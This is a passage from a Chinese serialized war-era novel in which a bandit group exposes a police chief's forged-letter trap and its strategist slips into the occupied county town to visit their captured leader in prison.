听说李二狗派人送信来,他心里“咯噔”一下,突然有种不祥的预感,赶紧让人把送信的带进来。 “是李二狗让你来的?” 陈老三一见胡彪,两步就冲了上去,一把抓住他的肩膀,力道大得像要把他的骨头捏碎。 胡彪被他抓得“嗷嗷”直叫,疼得眼泪都出来了。 他抬头一看,瞬间吓得魂飞魄散。 眼前这个络腮胡、三角眼的土匪,不就是当年把他打的死去活来的那个人吗? 虽然时隔几年,可那股凶神恶煞的劲头,一点都没变。 他永远忘不了那种皮开肉绽的疼,此刻吓得浑身发软,差点尿裤子。 陈老三却完全没认出他来。 这些年来,他打过的杂碎没有一百也有八十,哪记得住这么个小人物? 他见胡彪光叫唤不说话,更急了,手上的力气又加了几分。 “快说!李二狗到底怎么样了?信呢?” “疼……疼……” 胡彪疼得说不出话,只能咧着嘴哼哼。 陈老三这才意识到自己下手太重,他赶紧松开手,却依旧死死盯着他。 “快把信拿出来!” 胡彪这才缓过劲来,哆哆嗦嗦地从怀里掏出那封信,双手捧着递过去。 陈老三一把抢过信,看了眼信封上的字,的确是李二狗的笔迹。 他赶紧打开信封,把信纸抽出来,只见上面只有龙飞凤舞的五个大字:“持信人可信!” 这字迹潦草狂乱,确实是李二狗的风格。 可只有这五个字? 陈老三的眉头瞬间拧成了疙瘩。 他太了解李二狗了,没事绝不会轻易派人送信,更不会只写这么几个字。 这说明李二狗肯定出事了,这是他提前留得后手! “李二狗到底怎么了?”陈老三再次抓住胡彪的肩膀,这次虽然没那么用力,眼神却更加凌厉,像刀子似的剜着他,“快说!要是敢说半句假话,老子现在就活剥了你!” 胡彪被他吓得一哆嗦,赶紧按照富志高教他的话说道:“李……李二狗被日本人抓进县城了,他们说明天上午就……就枪毙他!” “什么?!”陈老三像被雷劈了一样,猛地松开手,后退了两步,眼睛瞪得像铜铃,满脸不敢相信,“你说什么?明天上午枪毙?” 胡彪赶紧点头,哭丧着脸说道:“千真万确啊陈当家的!我亲眼看见日本人贴的告示!李二狗让你带人去县城救他,快点吧,再晚就来不及了!” 他一边说,一边偷偷观察陈老三的脸色,心里祈祷着这尊瘟神赶紧被激怒,然后带人下山。 陈老三的胸膛剧烈地起伏着,额头上的青筋突突直跳。 他猛地一拳砸在旁边的桌子上,“哐当”一声,桌子腿应声而断。 “狗日的小日本!”他怒吼一声,声音震得屋顶的灰尘都掉了下来,“来人!马上集合队伍!老子今天就去踏平县城,也要救回李二狗!” 聚义厅外的土匪们听到命令,立刻骚动起来,纷纷抄起家伙,呐喊声此起彼伏,整个清风集团瞬间被一股狂暴的怒火笼罩。 胡彪缩在角落里,看着眼前这混乱的场面,心里又是害怕又是庆幸。 他害怕陈老三的凶残,又庆幸自己总算把富志高交代的话说了。 第629章 我看你是盼着狗哥死 “老三,出什么事了?你怎么突然集合队伍?” 望冬的声音中带着急促的喘息声,她刚从后山山洞视察完药品生产回来,远远就看见聚义厅门前的广场上黑压压挤满了人。 刀枪林立,弟兄们脸上都带着焦灼的戾气,心里“咯噔”一下,赶紧提着裙摆就往聚义厅跑。 陈老三正背着手在聚义厅里转圈,皮鞋踩得地板“噔噔”直响,听见望冬的声音,他猛地转过身,眼睛里布满了血丝。 “望冬,你来得正好!狗哥被日本人抓了,现在被关在江东县城的大牢里,明天上午就枪毙!我这就带兄弟们下山,把狗哥救出来!” “什么?”望冬手里的小坤包“哐当”一声掉在地上,里面的小饰品撒了一地,她却浑然不觉。 “狗哥被抓了?明天就……就枪毙?”她往前扑了两步,一把抓住陈老三的胳膊,“那你还等什么?快去救人啊!我跟你一起去!” 陈老三虽然急得像热锅上的蚂蚁,却还存着一丝理智,见望冬夜要跟着去,赶紧摆手道:“你添什么乱?一个女人家,去了也是累赘!在家老实待着,我带人去救,一定把狗哥完好无损地带回来!” “我不!”望冬的眼泪“唰”地就下来了,顺着脸颊往下淌,滴在衣襟上,晕开一小片湿痕,“都这时候了,我哪待得住?狗哥要是有个三长两短,我也不想活了!” 她的声音里带着哭腔,却异常坚定,仿佛只要能救李二狗,哪怕是刀山火海,她也敢闯。 陈老三心里总觉得望冬这话哪里不对劲,但也没有多想。 他知道望冬对狗哥的心思,那不是普通的情谊,是藏在眼底、揉进骨血里的牵挂。 当年望冬只是胡家大院一个丫鬟,是李二狗一步步把她提携到如今这个位置,这些年她守着清风集团的钱袋子,表面看似平静,内心对李二狗的感情丝毫不比自己少。 可正因为这样,他才更不能让她去冒险——县城里全是日本人的机枪大炮,去了就是九死一生。 “望冬,你听话。”陈老三的声音放缓了一些,拍了拍她的手背,“我是去救人,不是去游山玩水,刀枪无眼,你去了我还要分心护着你,怎么救狗哥?乖乖在家等我,我保证,就算拼了这条命,也得把狗哥给你带回来。” 望冬却摇着头,眼泪掉得更凶了,鼻涕一把泪一把。 “老三,你就让我去吧!要是不能跟你们一起去救狗哥,我这心里会像被虫子啃一样,内疚一辈子!他要是真有个好歹,我活着还有什么意思?” 陈老三看着她通红的眼睛,心里犯了难。 他知道望冬的性子,看似柔弱,实则犟得像头牛,她认定的事情八匹马都拉不回来。 可他实在舍不得让她去冒这个险。 若是非要在李二狗和望冬之间选一个,他会毫不犹豫地护住望冬。 “望冬,你信我一次,行吗?”陈老三放低了姿态,语气里带着恳求,“我陈老三说话算话,一定把狗哥救回来。” 两人正僵持着,聚义厅的门“砰”地被推开,秀才气喘吁吁地跑了进来,眼镜都歪到了鼻梁上。 他扶了扶眼镜,扫了一眼厅里的情形,又看了看外面摩拳擦掌的弟兄,眉头瞬间拧成了疙瘩。 “望冬?老三?这是怎么回事?谁让你们集合队伍的?” 秀才是清风集团的总经理,李二狗不在,他就是主事的人。 如今这么大的动静,他竟然一点消息都没收到,语气里难免带了几分不满。 “秀才,你来得正好!”陈老三像是找到了宣泄口,快步迎上去,嗓门又提了起来,“狗哥被日本人抓进县城了,明天上午就枪毙!我正准备带弟兄们下去救人,你赶紧帮我合计合计,怎么打才能最快冲进去!” 秀才一听“李二狗被抓”“明天枪毙”,心里也是一惊。 但他毕竟是读过书、掌过舵的人,比陈老三和望冬多了几分沉稳。 他深吸一口气,压下心头的慌乱。 “老三,你先别急,把事情说清楚。狗哥是什么时候被抓的?日本人为什么要抓他?有没有说具体在哪枪毙?” “哪有那么多为什么!”陈老三不耐烦地挥手,眼睛瞪得溜圆,“现在说这些有什么用?狗哥明天就要被枪毙了,再不去就来不及了!来人,通知弟兄们,五分钟之后出发,目标江东县城!” “等一下!”秀才一把拉住他的胳膊,力道不小,“老三,你冷静点!” 陈老三本来性子就急,被他这么一拦,火气“噌”地就上来了。 他猛地甩开他的手,怒吼道:“我冷静个屁!狗哥都要被枪毙了,你让我怎么冷静?秀才,你他娘的是不是不想救狗哥?” “我不是不救!”秀才也提高了声音,镜片后的眼睛里满是严肃,“可我们连日本人把狗哥关在哪都不知道,连县城里有多少兵力都不清楚,就这么带着弟兄们冲下去,不是去救人,是去送死!不仅救不出狗哥,还得把清风集团的家底全赔进去!” “赔进去就赔进去!”陈老三梗着脖子,胸膛剧烈起伏着,“就算我们全死了,也得去救狗哥!他是我们的大哥,我们能眼睁睁看着他被小日本枪毙吗?” 他说着,手已经按在了腰间驳壳枪的枪柄上。 “你这是鲁莽!”秀才寸步不让,“狗哥让我们守着清风集团,不是让我们一时冲动毁了它!” “我鲁莽?”陈老三像是被踩了尾巴的狼,猛地拔出驳壳枪,枪口指着屋顶,“我看你是盼着狗哥死!这样你就能顺理成章当清风集团的老大了!我告诉你秀才,你他娘的别痴心妄想!” “陈老三,你他娘的胡说八道什么?”秀才的脸瞬间涨得通红,他没想到陈老三会说出这种话,气得浑身发抖,“我跟着狗哥多少次出生入死,我怎么可能盼着他死?” 第630章 你到底是谁? “那你狗日的拦着我干什么?”陈老三把枪口猛地抬起,顶在了秀才的脑门上,眼神凶狠得像要吃人,“今天谁也别想拦着我!谁敢拦,我就先毙了谁!” 聚义厅里的空气瞬间凝固了,连外面的喧闹声都仿佛消失了,只剩下两人粗重的呼吸声。 “老三,你把枪放下!” 就在这时,望冬突然开口,声音不大,却带着一股不容置疑的力量。 她刚才被两人的争执惊得愣住了,此刻终于回过神来,快步上前,一把抓住陈老三持枪的手腕,用力往下按。 “秀才是咱们的兄弟,你怎么能拿枪对着他?狗哥要是在这,绝不会饶了你!” 陈老三的手腕被她抓住,力道竟不小。 他看着望冬通红的眼睛和起伏的胸脯,又看了看秀才那张毫不畏惧的脸,心里的火气慢慢降了下去。 陈老三调转枪口,放回枪套里。 秀才刚才虽然表现的毫不畏惧,但内心也是怦怦直跳,像陈老三这样的粗人,情急之下,可是什么事情都做得出来。 他就是真的失手把自己打死了,在清风集团也没有人会惩罚他! 秀才深吸一口气,语气缓和地说道:“老三,我知道你急,我也急。但你刚才也说了,明天才枪毙狗哥,我们还有时间。现在最要紧的是弄清楚状况。日本人为什么突然要枪毙狗哥?他们的兵力部署怎么样?这里面有没有什么圈套?咱们把这些都弄明白了,才能制定救人计划,不然就是白送命。” 陈老三喘着粗气,胸口还在起伏,却没再反驳。 望冬拉着他,把他按在椅子上,轻声说道:“老三,秀才说得对,咱们不能冲动。你先告诉我,你是怎么知道狗哥要被枪毙的?” 陈老三这才想起正事,他从怀里掏出那封信,扔给秀才。 “狗哥派人送来的信,上面是他的笔迹,错不了。” 秀才捡起信,展开一看,只见上面只有五个字:“持信人可信!” 字迹潦草却张扬有力,确实是李二狗的风格。 他皱起眉头,反复看了几遍,疑惑道:“可这信上只说持信人可信,没说要被枪毙啊?” “是送信人说的!”陈老三急忙道,“他说狗哥被关在县城大牢里,日本人贴了告示,明天上午午时三刻枪毙,还说狗哥让咱们带人赶紧去县城救他!” 秀才的眉头皱得更紧了。 以他对李二狗的了解,他行事向来谨慎,绝不可能让弟兄们去攻打重兵把守的县城。 日本人在江东县城驻扎了一个宪兵中队,还有不少警察,光机枪就有十几挺,清风集团虽然有近千弟兄,可大多没有战斗经验,真要硬碰硬,无异于以卵击石。 李二狗不可能这么傻。 “这里面肯定有问题。”秀才放下信,眼神变得锐利起来,“送信人在哪?把他叫进来,我要亲自问问。” 陈老三虽然还是急,却也觉得秀才的话有道理,不耐烦地冲门外喊了一声:“把那个送信的带进来!” 很快,两个土匪推着胡彪走了进来。 胡彪本来就吓得魂不附体,刚才在外面又听见聚义厅里吵得厉害,还隐约听到要动枪,此刻更是抖得像筛糠,头埋得低低的,不敢看人。 秀才坐在椅子上,端起茶杯喝了一口,目光平静地打量着胡彪。 此人穿着一件打了补丁的短褂,眼神躲闪,嘴角还有点抽搐,怎么看都透着一股猥琐相。 李二狗向来不喜欢这种人,无论是在胡家大院还是清风集团,招伙计都讲究“身正眼亮”,像胡彪这样的人,根本不可能被重用,更别说委以送信的重任了。 “你是胡家大院的伙计?”秀才突然开口,语气平淡,却带着一股审视的意味。 胡彪浑身一哆嗦,猛地抬起头,眼里满是惊慌。 他没想到对方不问李二狗的事,反倒先问起自己的来历,难道露馅了? 他咽了口唾沫,结结巴巴地说道:“是……是……我是胡家大院的伙计。” “哦?”秀才放下茶杯,站起身来,“胡家大院的伙计我大多都认识,怎么从没见过你?你在院里负责什么差事?” 胡彪的脸瞬间白了,他哪里在胡家大院待过? 当年被胡士高赶出去后,他很少再踏足胡家大院。 富志高只教了他怎么说李二狗的事,没教他怎么应对这些细节。 “我……我只负责看家护院。” 像胡彪这种风一吹就要倒的猥琐男子,胡家大院怎么可能让他看家护院? “你看家护院?” 秀才突然把自己的驳壳枪扔到胡彪脚下。 “你试试我这把枪怎么样?” 胡彪吓坏了,他哪里会玩枪? “我早年看家护院,现在在伙房烧锅。” 胡家大院难道没人了吗?让一个伙夫来送信? 李二狗要是真信任他,又怎么会让他去当伙夫? 秀才冷冷地盯着胡彪,继续问道:“日本人只抓了李二狗一个人吗?胡家大院其他人有没有出事?” 胡彪脱口而出:“其他人都没事。” 秀才更加确定胡彪这人肯定有问题。 如果胡家大院没有出事,不可能让胡彪来送信。 “我听说你们大院有个人叫张二驴,他人呢?” “他……他离不开,所以派我来。” 张二驴是李二狗信任的人,这么重要的事,他不可能随便派一个人上山送信。 秀才更加笃定,胡彪肯定有问题。 “胡家大院的大奶奶还好吗?她有没有带什么话来?” “没……没有,”胡彪说完,又赶紧补充道:“她很着急,让你们一定要马上去县城救李二狗。” 陈老三见状,眉头也皱了起来。 刚才光顾着着急,没细看这人,此刻被秀才一问,才发现确实不对劲。 李二狗怎么会派这么个怂包来送信?而且胡家大院的大奶奶已经被李二狗送到了上海。 外人不知道,陈老三等几个人却是知道的。 望冬也看出了端倪,她走到胡彪面前,眼神清冷。 “你说实话,你到底是谁?到底是谁派你来的?” 第631章 胡彪招供 胡彪吓坏了! 但他也知道,一旦自己说了实话,这群土匪肯定不会轻饶了他。 他决定铤而走险,打死也不招。 但他却根本控制不住自己身体的颤抖。 他哆哆嗦嗦地说道:“各位当家的,我……我真的没有说谎,我……我真的是胡家大院的伙计啊!” 陈老三心里急着去救李二狗,不想再和他废话,他掏出驳壳枪,走到胡彪跟前,对准了他的脑袋。 “我数三声,你如果还不说实话,我立马就枪毙了你!” “一” “二” …… 还没数到三,胡彪就双腿一软,“噗通”一声跪在了地上。 真是秀才遇到兵,有理说不清,胡彪面对不讲理的陈老三,最终还是屈服了。 他哭喊道:“别……别开枪,我……我说实话!这都是江东县警察局长富志高逼我的!他拿我全家的性命要挟我,让我来骗你们去县城,日本人已经提前埋伏好了,他们要把你们……爷爷们,我是被逼的啊!爷爷饶命……饶命啊……” 大厅里的三个人相互对视一眼,心里瞬间明白了。 原来这是一个圈套! 知道是个圈套后,众人反而长舒了一口气。 李二狗明天要被日本人枪毙的消息是个假消息,这是个好消息。 秀才捏着手里的那封信,手指在略显粗糙的纸面上反复摩挲着。 李二狗的字他太熟悉了。 横不平竖不直,就像被狂风刮过的柴草,歪歪扭扭中却透着一股独有的韧劲,丑得极具辨识度,外人想学也学不来。 可正因为确定是李二狗的字迹,他心里的疑团才更加重了。 以李二狗的缜密心思,绝不会把这么重要的一封信随意交给一个不靠谱的人。 那这封信他到底是交给谁的? 胡彪又是怎么得到这封信的呢? 这里面还有没有其他隐情? “你到底是怎么得到这封信的?” 秀才把信纸拍在桌面上,目光落在胡彪身上,平静的眼神里却带着一股不容置疑的压力。 胡彪跪在地上,裤裆早已被冷汗浸透,被秀才一声喝问,心里最后那点侥幸也散了。 他知道瞒不住了,再不说实话,恐怕真要被陈老三一枪崩了。 “我……我全说……”他抹了一把眼泪,咽了一口唾沫,声音抖得像秋风里的落叶,“信是富志高给我的……各位爷爷,我不敢不来啊!我哪敢害各位爷爷啊!” “富志高?他是怎么得到这封信的?” 秀才担心富志高对李二狗动用酷刑,他在不得已的情况下不得不写这封信。 但秀才又了解李二狗的为人,他宁肯自己去死,也绝不会陷害兄弟们。 胡彪犹豫着要不要把实情全盘托出,但如果让他们知道这封信是自己从张二驴手里抢来的,这群土匪会不会杀了他? 可要是说谎,一旦被他们察觉,自己会死的更快。 秀才见胡彪眼神躲闪,支支吾吾说不出来,知道他正在编织谎话。 “老三,既然这个人不说实话,那留着也没什么用,我看还是拉出去毙了吧!” “来人!把这个人拉出去毙了!” 陈老三一声恫吓,还没等外边的人进来,胡彪已经磕头如捣蒜。 “我说……我说……” 胡彪一股脑把整件事的来龙去脉全部吐了出来。 “狗日的富志高!”陈老三听得眼睛直冒火,他猛地一拍桌子,震得茶杯都跳了起来,“还有你们父子俩,也不是什么好东西,老子现在就扒了你这个杂碎的皮!” 他说着就要毙了胡彪,被秀才一把拉住。 “老三,冷静点!”秀才的声音不高,却带着一股稳住人心的力量,“现在杀了他没用,狗哥还在日本人手里。留着他,说不定以后还有能派上用场。” 陈老三喘着粗气,胸口剧烈起伏,拳头攥得咯吱响。 他知道秀才说得对,可一想到李二狗被陷害,这窝囊气就咽不下去。 “那也不能就这么便宜了他!” “先关起来。”秀才瞥了一眼瑟瑟发抖的胡彪,对着门外喊道,“来人,把他带下去,严加看管,不许他跑了,也别让他死了。” 两个土匪应声进来,像拖死狗似的把胡彪往外拽。 胡彪早已吓得魂飞魄散,他哭喊着:“爷爷饶命啊!都是富志高逼我的!我就是个跑腿的,我什么都不知道啊……” 哭喊声越来越远,最终他被关在了集团的石牢里。 秀才叫来两个兄弟,让他们按照胡彪交待的地址马上去把张二驴救出来。 “秀才,那现在咱们怎么办?”望冬的声音还有些发颤,但眼神已经镇定了许多,“虽然知道枪毙是假消息,可狗哥毕竟还在日本人手里,咱们不能不救他啊。” 陈老三也看向秀才,刚才的鲁莽劲儿过去后,剩下的全是焦虑。 “是啊,秀才,就算日本人有埋伏,咱们也得去救狗哥啊!大不了跟他们拼了!” 秀才没有立刻回答,而是背着双手,慢慢走到窗边,望着远处笼罩在暮色里的村庄,眉头紧锁。 过了半晌,他才转过身,语气沉稳地说道:“狗哥肯定要救,但不能硬拼。富志高既然设了这个圈套,就一定料到咱们会冲动,县城内外早就布好了天罗地网,就等着咱们往里钻。” 他顿了顿,目光扫过聚义堂外边的弟兄,“咱们清风集团的弟兄,都是拿命跟着狗哥混的,不能就这么白白送死。” 众人都沉默了。 刚才被“李二狗明天要被枪毙”的假消息冲昏了头,此刻冷静下来,才意识到事情的严重性。 日本人的枪炮不是吃素的,真要硬闯县城,怕是连城门都进不去,就得把命丢在城外。 秀才的手指轻轻敲击着椅子扶手,脑子里飞速盘算着接下来的计划。 “富志高想借日本人的手灭了咱们,咱们偏不让他得逞。我得亲自去一趟县城,摸摸日本人的底细,看看狗哥到底被他们关在什么地方,看看有没有什么机会把他救出来。” 第632章 秀才进城 “你自己去?”陈老三听到秀才要自己去,立刻表达了反对意见,“县城里到处都是日本人和他们的狗腿子,你一个人去太危险了!要去也是我去,我带着弟兄们杀进去,直接把狗哥救出来!” “老三,你别冲动,你这样做只会坏事。”秀才轻轻地摇了摇头,语气带着几分无奈,“你那脾气,见了日本鬼子就想拔枪,到时候没救成狗哥,先把自己搭进去了。我去不一样,我穿着长衫,戴着眼镜,看着像个教书先生,不容易引起他们的怀疑,也方便打听消息。” 陈老三还想争辩几句,望冬却轻轻拉了拉他的胳膊,递了个眼色。 她知道,清风集团里除了李二狗之外,要论心思缜密,没有人比得上秀才。 这种时候,让他去县城确实是最好的选择。 “秀才说得对,”望冬开口道,“老三,咱们在家守着,等秀才的消息。秀才,你放心去吧,家里有我们,绝不会出乱子。” 陈老三看着望冬坚定的眼神,又看了看秀才胸有成竹的样子,虽然心里还是不放心,却也知道这是目前最好的办法,只能狠狠地跺了跺脚。 “那你小心一点!要是日本人敢动你一根手指头,我立马带弟兄们踏平县城!” 秀才笑了笑,虽然知道陈老三的话充满了孩子气,但还是觉得挺暖心,他拍了拍秀才的肩膀,说道:“放心吧,兄弟,我有分寸。” 他简单收拾了一下,换上一身洗得发白的长衫,看起来真像一个落魄的教书先生。 临走前,他又叮嘱道:“看好胡彪,别让他跑了。另外,派人去山脚下看看,富志高说不定还在那等着胡彪的好消息。” 说完,秀才通过后山的秘密山洞悄悄下了山,身影很快消失在暮色里。 此时,清风山脚下的树林里,富志高正焦躁地踱步。 他带着四个警察,已经在这儿等了大半天,从日头当空等到太阳西斜,连胡彪的影子都没见着。 地上扔满了烟蒂,空气中弥漫着一股呛人的烟草味。 “这个狗日的胡彪,到底行不行啊?” 富志高骂骂咧咧地,心里越来越不安。 他跟日本人保证过,今天一定能引清风寨的土匪下山,进入他们的包围圈,一举歼灭这群土匪。 可现在连个动静都没有,万一日本人等不及了,怪罪下来,他这个警察局长可就坐不稳了。 “局长,要不……咱们再等等?”旁边一个警察小心翼翼地说道,“说不定胡彪已经得手了,土匪们正在集合,准备下山呢?” “等个屁!”富志高狠狠瞪了他一眼,“都等了快三个时辰了,再等下去,日本人该发火了!你,上去看看!”他指着那个警察,命令道,“去半山腰探探情况,看看胡彪是不是得手了,土匪到底动没动。” 那警察脸瞬间白了。 “局……局长,我一个人去?” 清风寨的土匪杀人不眨眼,他光是站在山脚下就觉得后背发凉,哪敢上去? “废什么话!”富志高一脚踹在他屁股上,“让你去你就去!要是敢偷奸耍滑,老子现在就毙了你!” 警察被踹得一个趔趄,不敢再争辩,只能硬着头皮,沿着山路往上爬。 他走得磨磨蹭蹭,每一步都像踩在棉花上,眼睛警惕地扫视着四周,生怕从树林里窜出几个土匪来。 爬到半山腰,他正躲在一棵大树后东张西望,突然觉得后颈一凉,还没来得及喊出声,就被人捂住嘴,拖进了树林深处。 原来是清风集团安排的暗哨。 那警察被捂住嘴,吓得魂飞魄散,没挣扎几下就被捆了个结实。 一番盘问,他就把富志高的计划全盘招了。 他们在山脚下的树林里等着,只要看到土匪下山,就马上给埋伏在县城外的日本人送信,好半路截杀。 山脚下,富志高又等了半个多小时,还没见那警察回来,心里的不安越来越强烈。 “不对劲……肯定不对劲……”他喃喃自语道,一种不祥的预感像藤蔓似的缠住了他的心。胡彪没消息,派去的警察也没动静,难道……他们都被土匪抓了? 他越想越怕,后背的冷汗浸湿了衬衫。 日本人的手段他是知道的,要是让他们知道自己办事不利,不仅乌纱帽保不住,怕是连小命都得搭进去。 “不行,得再派人去看看!”他转身,想再点个人,却猛地愣住了。 身后不知什么时候站了十几个拿着枪的汉子,黑洞洞的枪口正对着他们! “全给老子不许动!”一个粗嗓门的土匪厉声喝道,正是陈老三派来的弟兄。 他们从被抓的警察嘴里问出了富志高的位置,立刻就赶了过来。 富志高吓得腿一软,差点瘫倒在地。 但他毕竟混了这么多年官场,强作镇定地挺了挺腰,色厉内荏地呵斥道:“好大的胆子!你们知道我是谁吗?我是江东县警察局局长富志高!敢动我一根手指头,老子定饶不了你们!” “局长……” 一个土匪嘴里念叨着,他根本不吃他这套,上去就一枪托砸在富志高的膝盖上。 “咔嚓”一声脆响,富志高惨叫一声,“噗通”跪在了地上,冷汗瞬间冒了出来,疼得浑身发抖。 “你们……你们好大的胆子……” 富志高还想放狠话,可话没说完,另一个土匪又是一枪托砸在他的脑袋上。 “啊!” 他惨叫一声,眼前一黑,像滩烂泥似的倒在地上,昏死过去。 剩下的几个警察早就吓得魂不附体,哪里还敢反抗,纷纷扔下枪,抱头蹲在地上,嘴里不停地喊着“饶命”。 土匪们上前,把富志高和他的手下一个个捆结实,像拖牲口似的往山上拖。 暮色渐浓,山脚下的树林里恢复了平静,只留下满地的烟蒂和几道凌乱的拖痕,仿佛什么都没发生过。 而此时的秀才,已经混在进城的人群中,慢慢靠近了江东县城的城门。 一场更精密的较量,才刚刚开始。 第633章 “教书先生” 秀才随着进城的人流慢慢靠近江东县城。 城门口的日本士兵端着枪,眼神像鹰隼般扫视着每一个进出的人,刺刀在月光下闪着寒光。他压低帽檐,步履沉稳,真像一个乡下的教书先生,混在挑着担子的小贩、背着包袱的行商中间,毫不起眼。 进了县城,他径直来到县政府。 李二狗和孙竹刚关系特殊,虽然目前孙竹刚投靠日本人当了汉奸,但孙竹刚不可能不念旧情。 即使他不愿意搭救李二狗,至少他会知道李二狗被关押在什么地方。 江东县政府的门楼比以前气派了不少,门楣上挂着一个写着“江东县维持会”的白底黑字牌子。 上面的字迹崭新,透着一股说不出的刺眼。 两个穿着黑色警服的警察守在门口,手里端着枪,斜着眼打量着来往的人,脸上是拿捏惯了的傲慢。 “站住!干什么的?” 一个留着八字胡的警察拦住了秀才,语气粗暴,手里的警棍在掌心敲得“啪啪”响。 秀才立刻停下脚步,脸上堆起温和的笑,眼角的皱纹都舒展开来,显得格外谦卑。 “老总,您好。”他微微欠身,“我是仙人洞镇胡家大院的教书先生,今天特地来拜访孙县长,有要事相商,麻烦老总通传一声。” 放在以前,别说胡家大院的人,就是胡家的佃户来县政府,只要报上胡家大院的名号,也得被客气地请进去。 可如今李二狗被抓,胡家大院早已失了往日的风光,那警察听了“胡家大院”四个字,嘴角撇得更厉害,像是听到了什么笑话。 “滚滚滚!一个乡下地主家的教书匠也敢闯县政府?”他抬起警棍,作势要打,“孙县长是什么身份?是你想见就能见的?赶紧滚,别在这儿碍眼,我看你是活得不耐烦了!” 秀才脸上的笑容丝毫未减,仿佛没听见那刺耳的呵斥。 他知道,这种看门的警察,就像官府门前的狗,见了有权有势的摇尾乞怜,见了无权无势的便狂吠不止,对付他们,硬顶没用,得用软法子。 “老总息怒,息怒。”他一边说,一边悄悄伸出手,将袖管里藏着的两块大洋捏在掌心,趁那警察转身的瞬间,飞快地塞进他的警服口袋里,手指在他手背上轻轻一按。 冰凉的银元贴着皮肤,那警察的身体明显一僵,脸上的怒容瞬间消了大半,眼神也变得活络起来。 他不动声色地摸了摸口袋,掂量着大洋的分量,嘴角勾起一抹不易察觉的笑容。 他咳嗽一声,清了清嗓子,换上一副公事公办的语气。 “行了行了,看你也不像捣乱的。在这儿等着,我进去给你通传一声,成不成的可不好说。” “多谢老总,多谢老总!”秀才连忙作揖,脸上的感激之情显得格外真诚,“老总真是一副热心肠。” 那警察受用地点点头,转身往里走,脚步都轻快了不少。 秀才站在原地,目光平静地望着县政府的门楼,心里却在飞速盘算着。 孙竹刚会不见他吗?以孙竹刚的性子,就算不念旧情,也该好奇他这个“教书先生”的来意。 果然,没一会儿,那警察就出来了,脸上带着一丝倨傲的笑意。 “算你小子运气好,我跟孙县长好说歹说,他才同意见你。跟我来吧。” “真是太感谢老总了,这份情我记下了。”秀才再次道谢,语气诚恳。 他知道这个警察在撒谎,孙竹刚见他,绝不是因为警察的讲情,而是另有考量,但看破不说破,给对方留个体面,也是给自己留条路。 警察领着秀才穿过前院,院子里的几棵老槐树还在,只是树干上被钉了些“皇军爱民”的木牌,看着格外刺眼。 “县长在三楼最东头那间办公室,你自己上去吧。” 警察在办公楼前停下脚步,指了指楼梯口,“记住,千万别乱走,日本人的人也在这楼里办公,冲撞了皇军,没人能保你。” “明白,明白。”秀才点头应着,再次谢过,转身踏上楼梯。 木质的楼梯被踩得“咯吱”响,每一步都像踩在他的心上。 三楼最东头的办公室门虚掩着,里面传来钢笔划过纸张的声音。 秀才轻轻敲了敲门。 “进来。” 孙竹刚的声音传来,带着一点疲惫。 秀才推门进去,只见孙竹刚坐在办公桌后,穿着一身深色的绸衫,头发梳得油亮,只是眉宇间带着挥之不去的倦意。 墙上挂着他和日本人的合影,照片上的他笑得有些僵硬。 孙竹刚抬起头,目光落在秀才身上,上下打量了一番。 眼前这人穿着洗得发白的长衫,戴着以副黑框眼镜,镜片后的眼睛清澈而锐利,眉宇间透着一股沉稳的气度,怎么看都不像个乡下的教书先生。 他不动声色地放下笔,手指在桌面上轻轻敲击着。 “你是胡家大院的教书先生?找我有什么事?” 秀才没有拐弯抹角,直截了当地说道:“孙县长,我想见一见李管家。” “李管家?”孙竹刚微微一怔,显然没料到他会这么直接。 他沉默了片刻,指尖的敲击声停了,“李二狗现在被日本人关押着,不是你想见就能见的。你见他有什么事?要是有话,我可以代为转达。” “孙县长,”秀才微微一笑,语气平静,“只要您答应让我见见李管家,我可以帮着劝劝他。” 他早就打听清楚了。 日本人正在江东县各个乡镇推行维持会,仙人洞镇是重镇,日本人属意让李二狗来当维持会会长。 毕竟李二狗在当地有声望,又是胡家大院的管家,是最合适的人选。 可李二狗性子刚烈,宁死也不会当汉奸,这才被日本人关了起来。 孙竹刚虽然投靠了日本人,但心里未必没有自己的盘算,拉拢李二狗,既能讨好日本人,又能壮大自己的势力,他没有理由拒绝。 孙竹刚的眼神闪烁了一下,重新打量起秀才,语气里多了几分探究。 “你真是胡家大院的教书先生?” 第634章 李二狗胸有成竹 秀才闻言笑了,那笑容从容不迫,竟有几分李二狗的影子。 “我是什么身份,重要吗?”他向前一步,声音压得低了些,“重要的是,李管家愿意和您站在一起,为江东县的百姓做点实事,您说呢,孙县长?” 这句话说到了孙竹刚的心坎里。 他投靠日本人,固然有自保的成分,却也不想落得个千古骂名。 若是能让李二狗出来主持仙人洞镇的维持会,既能应付日本人,又能让镇上的百姓少受点苦,他的心里也能安稳些。 “好。”孙竹刚几乎没有犹豫,站起身,“我马上安排你见李二狗。” 牢房在日本宪兵队后院,阴暗潮湿,墙角堆着一些发霉的稻草。 李二狗穿着一件单薄的囚服,身上有几块青紫的伤痕,显然受过刑,却依旧坐得笔直,眼神清亮,没有丝毫颓败之气。 当秀才跟着孙竹刚走进牢房时,李二狗明显愣了一下,眼底闪过一丝惊讶,但很快就恢复了平静。 秀才也没说话,只是微微颔首,脸上看不出任何情绪。 在这种地方,当着孙竹刚的面,任何多余的表情都可能招来祸端。 “孙县长,我能和李管家单独谈谈吗?” 秀才转头看向孙竹刚,语气平静。 孙竹刚看着两人,一个从容淡定,一个沉稳如山,心里竟有些捉摸不透。 他知道自己在这里也没用,反而可能让他们放不开,便点了点头说道:“这里是日本人的地方,我带你来见他,已经冒了很大的风险。” 他故意低头看了看手表,说道:“我只能给你们十分钟,抓紧时间。” “那多谢孙县长了。”秀才依然笑的很真诚。 孙竹刚走后,牢房的门被关上,只剩下他们两人。 秀才快步上前,扶住李二狗的胳膊,手指触到他身上的伤痕时,忍不住微微一颤,声音里带着自责。 “狗哥,我来晚了,让你受苦了。” 李二狗摆了摆手,顾不上寒暄,急忙问道:“信收到了吗?老三他们没冲动吧?” 他最担心的就是陈老三,那小子性子急,怕他一听说自己被抓,就带着弟兄们莽撞地冲下山。 “收到了。”秀才点了点头,语气沉稳,“老三一开始确实急着要带人来救你,被我摁住了。” 李二狗长舒一口气,紧绷的肩膀终于放松了一些,额头上渗出的细汗顺着脸颊无声地滑落。 “那就好,那就好。”他后怕地拍了拍胸口,“我被抓的时候太急了,只来得及让张二驴把信送出去,没来得及跟他细说,就怕他办事毛躁,把消息传错了,差点酿成大祸。” 秀才轻轻叹了口气,声音低沉。 李二狗立刻察觉到不对,皱起眉头问道:“怎么了?出什么事了?” 